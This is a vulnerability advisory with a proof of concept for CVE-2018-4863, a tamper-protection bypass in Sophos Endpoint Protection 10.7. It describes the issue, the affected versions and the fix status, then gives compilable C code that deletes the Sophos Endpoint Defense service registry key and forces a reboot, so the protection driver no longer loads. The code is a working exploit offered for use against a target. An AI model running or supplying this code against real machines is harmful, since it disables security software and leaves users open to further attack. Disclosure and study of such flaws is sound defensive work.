Sophos Endpoint Protection 10.7 Tamper Protection Bypass Vulnerability

[+] Credits: John Page (aka hyp3rlinx)    


Vendor:
=============
www.sophos.com



Product:
===========
Sophos Endpoint Protection v10.7

Sophos Endpoint Protection helps secure your workstation by adding prevention, detection, and response technology on top of your operating system.
Sophos Endpoint Protection is designed for workstations running Windows and macOS. It adds exploit technique mitigations, CryptoGuard anti-ransomware,
anti-malware, web security, malicious traffic detection, and deep system cleanup.



Vulnerability Type:
===================
Tamper Protection Bypass


CVE Reference:
==============
CVE-2018-4863


Security Issue:
================
Sophos Endpoint Protection offers an enhanced tamper protection mechanism disallowing changes to be made to the Windows registry
by creating and setting a special registry key "SEDEnabled" as follows:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sophos Endpoint Defense\TamperProtection\Config
Create the following registry key:
"SEDEnabled"=dword:00000001"

From "https://community.sophos.com/kb/en-us/124376" documentation:
"You must enable the basic Tamper Protection feature on an endpoint in order to use the Enhanced Tamper Protection"

However, this protection mechanism can be bypassed by deleting the following registry key as it is not sufficiently protected.
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Sophos Endpoint Defense\"

By deleting this key this bypasses the Sophos Endpoint "Enhanced Tamper Protection" once the system has been rebooted.
Attackers can then create arbitrary registry keys or edit keys and settings under the protected "tamper" protection config key.
The issue undermines the integrity of the endpoint protection as deleting this key stops the tamper protect driver from loading.


SAV OPM customers are unaffected from 10.8.1 onwards, all Central managed customers customers are unaffected. 
All SAV OPM Preview subscribers have had the fix since 2018-03-01.



Exploit/POC:
=============
Compile the below malicious POC "C" code and run on target, PC will reboot then we pwn.

gcc -o sophos-poc.exe sophos-poc.c

"sophos-poc.c"

/***SOPHOS ANTIVIRUS ENDPOINT ENHANCED TAMPER PROTECTION BYPASS
Even with "SEDEnabled"=dword:00000001" set in registry to prevent tampering
https://community.sophos.com/kb/en-us/124376
By hyp3rlinx **/

int main(void){
 system("reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Sophos Endpoint Defense\"  /f");
 system("shutdown -t 0 -r -f");
return 0;
}

#  0day.today [2018-04-09]  #